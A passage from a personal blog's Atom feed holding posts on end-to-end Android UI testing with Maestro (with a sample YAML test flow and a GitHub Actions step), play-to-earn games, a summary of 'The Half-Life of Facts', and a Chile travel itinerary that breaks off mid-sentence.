<a href="https://musicsync.ashishb.net/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Music Player</a> app in Google Play.</p>
<p>It reveals the kind of problem, I have alluded to in 
<a href="/programming/bad-and-good-ways-to-write-automated-tests/">end-to-end testing</a>.</p>
<p>The only way to avoid such problems is by end-to-end testing.</p>
<p>However, I find all Android testing frameworks to be terrible.</p>
<p>Most of the frameworks are focused on testing the underlying code.</p>
<p>However, I&rsquo;m interested in UI interactions to prove the user can accomplish the job.</p>
<p>And that&rsquo;s how I came across   
    
    
<a href="https://mobile.dev?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">mobile.dev</a>.</p>
<p>Mobile.dev has an excellent open-source framework called   
    
    
<a href="https://maestro.mobile.dev/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Maestro</a> which one can use to write intuitive tests.</p>
<p>You describe how the UI interactions and expectations.</p>
<p>And the framework just verifies that.</p>
<p>Here&rsquo;s a sample for the test I wrote to prevent my app from breaking in the future.</p>
<p>This snippet describes a basic test that I wrote to assert that Google Drive Folder sharing is always working.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Yaml
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">13
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">14
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">15
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">16
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">17
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">18
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">19
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">20
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">21
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">22
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">23
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">24
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">25
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">26
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">27
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">28
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">29
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">30
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">31
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">32
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">33
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#586e75"># Same this file inside &#34;.maestro&#34; folder in the repo root</span>
</span></span><span style="display:flex;"><span>---
</span></span><span style="display:flex;"><span><span style="color:#586e75"># Ref: https://maestro.mobile.dev/api-reference</span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">appId</span>: <span style="color:#2aa198">&#34;net.ashishb.androidmusicplayer&#34;</span>
</span></span><span style="display:flex;"><span>---
</span></span><span style="display:flex;"><span>- launchApp
</span></span><span style="display:flex;"><span>- waitForAnimationToEnd
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>- <span style="color:#268bd2">tapOn</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">id</span>: <span style="color:#2aa198">&#34;shareable_link&#34;</span>
</span></span><span style="display:flex;"><span>- <span style="color:#268bd2">inputText</span>: <span style="color:#2aa198">&#34;https://drive.google.com/drive/folders/&lt;folder-id&gt;&#34;</span>
</span></span><span style="display:flex;"><span>- <span style="color:#268bd2">tapOn</span>: <span style="color:#2aa198">&#34;Link Google Drive Folder&#34;</span>
</span></span><span style="display:flex;"><span>- waitForAnimationToEnd
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>- <span style="color:#268bd2">assertVisible</span>: <span style="color:#2aa198">&#34;Cached Files&#34;</span>
</span></span><span style="display:flex;"><span>- <span style="color:#268bd2">assertVisible</span>: <span style="color:#2aa198">&#34;Recently Added&#34;</span>
</span></span><span style="display:flex;"><span>- <span style="color:#268bd2">assertVisible</span>: <span style="color:#2aa198">&#34;Local Files&#34;</span>
</span></span><span style="display:flex;"><span>- <span style="color:#268bd2">assertVisible</span>: <span style="color:#2aa198">&#34;song.mp3&#34;</span>
</span></span><span style="display:flex;"><span>- <span style="color:#268bd2">assertVisible</span>: <span style="color:#2aa198">&#34;Files: 1,0*.*&#34;</span>
</span></span><span style="display:flex;"><span>- <span style="color:#268bd2">assertVisible</span>: <span style="color:#2aa198">&#34;Files: 1,55.*&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#586e75"># Now download a file and play it</span>
</span></span><span style="display:flex;"><span>- <span style="color:#268bd2">tapOn</span>: <span style="color:#2aa198">&#34;song.mp3&#34;</span>
</span></span><span style="display:flex;"><span>- waitForAnimationToEnd
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>- <span style="color:#268bd2">assertNotVisible</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">id</span>: <span style="color:#2aa198">&#34;rewind_button&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#586e75"># Verify bottom sheet expands</span>
</span></span><span style="display:flex;"><span>- <span style="color:#268bd2">tapOn</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">id</span>: <span style="color:#2aa198">&#34;music_status&#34;</span>
</span></span><span style="display:flex;"><span>- <span style="color:#268bd2">assertVisible</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">id</span>: <span style="color:#2aa198">&#34;artist_name&#34;</span>
</span></span><span style="display:flex;"><span>...</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>And here&rsquo;s a simple GitHub Actions code to run all the tests on mobile.dev</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Yaml
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">7
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#586e75"># Run all test flows in &#34;.maestro&#34; directory</span>
</span></span><span style="display:flex;"><span>- <span style="color:#268bd2">name</span>: Run end to end tests with mobile.dev
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">uses</span>: mobile-dev-inc/action-maestro-cloud@v1
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">with</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#586e75"># The API key can be found at https://console.mobile.dev/quickstart</span>
</span></span><span style="display:flex;"><span>          <span style="color:#268bd2">api-key</span>: ${{ secrets.MAESTRO_CLOUD_API_KEY }}
</span></span><span style="display:flex;"><span>          <span style="color:#268bd2">app-file</span>: &lt;path-to-apk&gt;</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>Update: As of Jan 1, 2025, mobile.dev is no longer free. One can, however, run Maestro on GitHub Actions instead using
  
    
    
<a href="https://github.com/ReactiveCircus/android-emulator-runner?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Android Emulator Runner</a> directly.</p>
<h2 id="note">Note</h2>
<ol>
<li>You can run <code>maestro</code> CLI locally against a connected device/emulator.</li>
<li>For the Google Auth bug, I still cannot test using Maestro as it   
    
    
<a href="https://github.com/mobile-dev-inc/maestro/issues/1207?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">only</a> supports recent Android versions. However, the Maestro testing prevented me from shipping another   
    
    
<a href="https://github.com/gradle/gradle/issues/25957?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Gradle-related bug.</a></li>
</ol>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/android" term="android" label="android"/><category scheme="https://ashishb.net/tag/continuous-integration" term="continuous-integration" label="continuous-integration"/></entry><entry><title type="html">Play-to-earn games</title><link href="https://ashishb.net/tech/play-to-earn-games/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/programmable-money-and-value-capture/?utm_source=atom_feed" rel="related" type="text/html" title="Programmable Money and value capture"/><link href="https://ashishb.net/tech/cryptocurrency-trading/?utm_source=atom_feed" rel="related" type="text/html" title="Cryptocurrency trading"/><link href="https://ashishb.net/tech/the-key-problem-in-cryptocurrency/?utm_source=atom_feed" rel="related" type="text/html" title='The "key" problem in cryptocurrency'/><link href="https://ashishb.net/security/nillion/?utm_source=atom_feed" rel="related" type="text/html" title="Nillion"/><link href="https://ashishb.net/tech/timing/?utm_source=atom_feed" rel="related" type="text/html" title="Timing"/><id>https://ashishb.net/tech/play-to-earn-games/</id><author><name>Ashish Bhatia</name></author><published>2023-07-24T16:00:24+00:00</published><updated>2023-07-24T16:00:24+00:00</updated><content type="html"><![CDATA[<blockquote>Explore Axie Infinity&rsquo;s role in revolutionizing play-to-earn gaming, where financial benefits shift to the network. Are in-game tokens the future or a passing trend?</blockquote><p>With   
    
    
<a href="https://axieinfinity.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Axie Infinity</a>, there is a sudden rise of play-to-earn games. At least the way I see is that the core idea is that financial benefits of in-game purchases accrue to the network instead of just the game studio. But most casual games have a very short shelf life of a few years.</p>
<p>At some point, Farmville used to be big then Angry Birds took over then everyone moved to Candy Crush and these days to Wordle. The casual game market consists of games that are fads that will last more than a few years before people will get bored and move to something new. So if a user had accumulated tokens in Farmville or Angry Birds, how valuable will they be today?</p>
<p>Note: professional games are a different matter but the technology is not there yet to build those hard-core games on top of these decentralized networks yet.</p>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/><category scheme="https://ashishb.net/tag/cryptocurrencies" term="cryptocurrencies" label="cryptocurrencies"/></entry><entry><title type="html">Book Summary: The half-life of Facts by Samuel Arbesman</title><link href="https://ashishb.net/book-summary/the-half-life-of-facts/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/book-summary/how-to-live/?utm_source=atom_feed" rel="related" type="text/html" title='Notable quotes from "How to Live" by Derek Sivers'/><link href="https://ashishb.net/book-summary/what-i-learned-losing-a-million-dollars-by-jim-paul/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: What I learned losing a million dollars by Jim Paul"/><link href="https://ashishb.net/book-summary/thinking-in-bets/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Thinking In Bets by Annie Duke"/><link href="https://ashishb.net/book-summary/the-new-confessions-of-an-economic-hit-man/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: The New Confessions of an Economic Hit Man"/><link href="https://ashishb.net/book-summary/the-mom-test/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: The Mom Test by Rob Fitzpatrick"/><id>https://ashishb.net/book-summary/the-half-life-of-facts/</id><author><name>Ashish Bhatia</name></author><published>2023-07-16T16:00:24+00:00</published><updated>2023-07-16T16:00:24+00:00</updated><content type="html"><![CDATA[<blockquote>Discover how facts change over time in &ldquo;The Half-Life of Facts.&rdquo; From overturned scientific beliefs to the speed of information, explore how knowledge evolves.</blockquote><p>The   
    
    
<a href="https://amzn.to/3mRrcWf?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Half-Life of Facts</a> is a provocative book that makes us realize that a lot of facts that we believe are factually true get overturned over time. It gives several examples of facts that were later proven wrong or became more precise as our measurements and understanding improved.</p>
<p>Knowledge, like radioactivity, decays over time. In aggregate, we can talk about the half-life of the decay of knowledge.</p>
<ol>
<li>From 1912 to 1953, it was believed that humans had 48 chromosomes. Then the improved experimentation reduced it to 46!</li>
<li>Doctors used to recommend smoking. Now, it is deadly!</li>
<li>Meat used to be good to eat. Then became bad. And now, it is a matter of opinion.</li>
</ol>
<p>A lot of scientific knowledge, especially that&rsquo;s based on measurement, is meso-fact. It slowly changes over decades and centuries. For example, the number of elements in the periodic table. Or the number of planets in the solar system. The half-life of books in various fields ranges from ~13 years (Physics) to ~7 years (History).</p>
<p>Sometimes, as our technology improves, so do associated facts. For example, the thermal conductivity of Iron changed with our ability to produce a more pure form of Iron and our ability to measure its thermal conductivity more accurately. The Earth was flat then it became a sphere (~8 inches/mile curvature) and now it&rsquo;s a spheroid (~7.97-8.03 inches/mile).</p>
<p>Measuring workers&rsquo; productivity leads to an increase in workers&rsquo; productivity! This is known as the Hawthorne Effect. This makes it harder to decide whether an intervention was genuinely beneficial.</p>
<p>Population plays an important role in discoveries and inventions. When the land bridge between Tasmania and Australia broke ~10,000 years ago, the small population of Tasmania slowly degraded technically over time.</p>
<p>Over time, the speed at which information spreads has gone up as well. In 1812, two weeks after the war between the United States and the British was over, the battle of New Orleans started as the news of the first war hadn&rsquo;t reached New Orleans. In 1860, it took one week for California to learn about Lincoln&rsquo;s election.</p>
<p>Sometimes, when the facts permeate society, it becomes harder to update them later. For example, the stereotypical dinosaur is known as   
    
    
<a href="https://en.wikipedia.org/wiki/Brontosaurus?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Brontosaurus</a>. It has now been linked to Apatosaurus. So, the name Brontosaurus is no longer the valid one but that&rsquo;s what the public knows at large. Similarly, a calculation mistake made Spinach appear to have 35 mg/100 gm Iron even though it only has 3.5 mg/100 gm Iron, this mistake was corrected by the 1930s, but Spinach&rsquo;s popular perception remains.</p>
<p>There is a lot of knowledge that is public but hidden. Scientists don&rsquo;t know about it. Many ideas like &ldquo;rich get richer&rdquo; have been published many times in academic journals in unrelated fields such as preferential attached, Gibrat Law, and Matthew Effect. In 1988, a large medical demonstrated that Streptokinase treats heart attacks. However, if one looks at cumulative data starting from 1959, then by 1973 the same fact could have been established. However, most scientists were not combining their results with existing results as they weren&rsquo;t even fully aware of them.</p>
<p>Facts go through phase transitions where they change rapidly. In 1953, by plotting past speed increases, US Air Force predicted that speed faster than Earth&rsquo;s escape velocity was possible by 1957. And 1957 is when Sputnik went into orbit. So, such state transitions even though abrupt can be predicted from the past data. Looking at the data, the author predicted in 2010 that the first habitable planet will be discovered by 2013. It was discovered in 2010. Similarly, the author predicts that the P versus NP problem will be 53 years old in 2024 and has a high chance of being solved by then.</p>
<p>As our ability to measure improves, some facts can disappear entirely. There used to be Planet X, a placeholder for a planet that should have existed in the solar system. Calculated estimates of its mass kept going down. In 1901, it was 9 times the size of Earth, then 5 times (1909) then 2 times (1919). Over time, the consensus changed to the belief that planet X does not exist. This is a well-known issue in many fields and is known as The Decline Effect. Apart from better measurements, another factor that contributes to the decline effect is Publication Bias. &ldquo;Statistics in the science of doing 20 experiments a year and publishing one false one in Nature&rdquo;, is not merely a statement, it has been   
    
    
<a href="https://journals.plos.org/plosmedicine/article?id=10.1371/journal.pmed.0020124&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">widely accepted</a> that most research findings are false. Small studies have a higher likelihood of false outcomes. Another such bias that happens in Biology is Taxonomic bias, which is the bias towards studying creatures that humans are interested in or are easier to find.</p>
<p>Humans suffer from factual inertia, sometimes just to appear contrarian, and sometimes out of desire. Change blindness prevents us from noticing changes that might invalidate the facts that we know. One way to avoid this is to rely less on your memory and more on the Internet to find up-to-date information when required.</p>
]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/></entry><entry><title type="html">Four days in Santiago, Chile</title><link href="https://ashishb.net/travel/santiago-chile/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/buenos-aires-argentina/?utm_source=atom_feed" rel="related" type="text/html" title="Ultimate guide to exploring Buenos Aires"/><link href="https://ashishb.net/travel/panama/?utm_source=atom_feed" rel="related" type="text/html" title="Mini Trip to Panama"/><link href="https://ashishb.net/travel/costa-rica/?utm_source=atom_feed" rel="related" type="text/html" title="Costa Rica in 4 days"/><link href="https://ashishb.net/travel/nicaragua/?utm_source=atom_feed" rel="related" type="text/html" title="Nicaragua in 5 days"/><link href="https://ashishb.net/travel/mexico/guadalajara/?utm_source=atom_feed" rel="related" type="text/html" title="Four days in Guadalajara, Mexico"/><id>https://ashishb.net/travel/santiago-chile/</id><author><name>Ashish Bhatia</name></author><published>2023-07-09T16:00:14+00:00</published><updated>2023-07-09T16:00:14+00:00</updated><content type="html"><![CDATA[<blockquote>Explore Chile&rsquo;s contrasting landscapes, from Santiago to Valparaíso and Maipo Canyon, in our 4-day itinerary. Discover its urban gems and breathtaking nature!</blockquote><p>Chile is one most remote countries in the world to visit.
It is far from Europe.
It is far from Asia.
It is far from North America as well.</p>
<p>And the country is deceivingly large. Unlike the USA, Canada, or Brazil,
Chile looks small because of its appearance as a narrow strip on the map.
Except it is long.
The length of Chile is the same as the distance from San Francisco to New York.
So, it is hard to visit all of Chile in a few days.</p>
<p>The major areas that you have to choose from are</p>
<ol>
<li>Santiago - in the middle of the country</li>
<li>Atacama Desert - in the north</li>
<li>Torres Del Paine National Park - in the Punta Arenas region in the south</li>
</ol>
<p>For our first trip to Chile, we decided to focus on the Santiago region.</p>
<h3 id="day-1---santiago-city">Day 1 - Santiago City</h3>
<p>Getting from the airport to the city is easy. An 1800 CLP bus runs regularly between the city center and the airport.</p>
<p>In the city, start with a walking tour to learn the history of Chile.</p>
<p>If you have traveled in Latin America, you will notice that, unlike a typical Latin American capital, Santiago is gorgeous.
Tall buildings. Clean roads. People bike and skate to commute.</p>
<figure>
    
    <a href="santiago-1-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="santiago-1-768x1024.jpg"
         alt="A cityscape with tall buildings under a clear sky, featuring clean roads where people are biking and skating." width="900"/> </a>
</figure>

<figure>
    
    <a href="santiago-presidential-palace-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="santiago-presidential-palace-768x1024.jpg"
         alt="A person is seen commuting on a skateboard" width="900"/> </a>
</figure>

<p>After the walking tour, explore the central square known as &ldquo;Plaza de Las Armas&rdquo;.</p>
<figure>
    
    <a href="santiago-plaza-de-las-armas-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="santiago-plaza-de-las-armas-768x1024.jpg"
         alt="View of Santiago&#39;s Plaza de Las Armas with historic buildings, surrounded by green areas, people walking, and urban landscape." width="900"/> </a>
</figure>

<p>Then climb uphill to Cerro Santa Lucia to get a full view of the city.</p>
<figure>
    
    <a href="santiago-cerro-santa-lucia-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="santiago-cerro-santa-lucia-768x1024.jpg"
         alt="View from Cerro Santa Lucia overlooking the cityscape of Santiago, providing a panoramic perspective of the urban environment and surrounding landscape." width="900"/> </a>
</figure>

<p>In the evening, visit Parque Forestal, that&rsquo;s where locals gather in the evening.
Another famous neighborhood worth visiting is Lastarria.</p>
<h3 id="day-2---valparaíso">Day 2 - Valparaíso</h3>
<p>Valparaiso is a beautiful coastal hilly city.
Rather than booking a tour from Santiago, take a bus to Valparaiso and do a walking tour there.
The buses are nice and cheap. We paid 8500 CLP for the onward journey and 4500 CLP for the return journey.</p>
<p>The city is full of artists, their art, and their Instagram handles.</p>
<figure>
    
    <a href="valparaiso-1-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="valparaiso-1-768x1024.jpg"
         alt="A cityscape featuring colorful murals and urban artwork, capturing the vibrant cultural essence of the city, with an emphasis on local artists and their social media presence." width="900"/> </a>
</figure>

<figure>
    
    <a href="valaparaiso-2-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="valaparaiso-2-768x1024.jpg"
         alt="A funicular, part of a walking tour, transports people up a steep hill in Valparaiso, Chile, with colorful buildings in the background. Cost of the ride: 100 Chilean Pesos." width="900"/> </a>
</figure>

<p>We did a funicular ride as a part of our walking tour for 100 Chilean Pesos.</p>
<figure>
    
    <a href="valparaiso-funicular-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="valparaiso-funicular-768x1024.jpg"
         alt="A funicular in Valparaíso, Chile, part of a walking tour, was taken for 100 Chilean Pesos. An artist&#39;s Instagram handles are visible on city walls." width="900"/> </a>
</figure>

<p>And finally spotted an artist whose Instagram handles are pasted all over the city walls.</p>
<figure>
    
    <a href="valparaiso-artist-1-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="valparaiso-artist-1-768x1024.jpg"
         alt="An artist&#39;s Instagram handle is visible on city walls" width="900"/> </a>
</figure>

<p>One day is more than sufficient to visit this city.</p>
<h3 id="day-3---maipo-canyon-cajón-de-maipo">Day 3 - Maipo Canyon (Cajón De Maipo)</h3>
<p>We did an early morning   
    
    
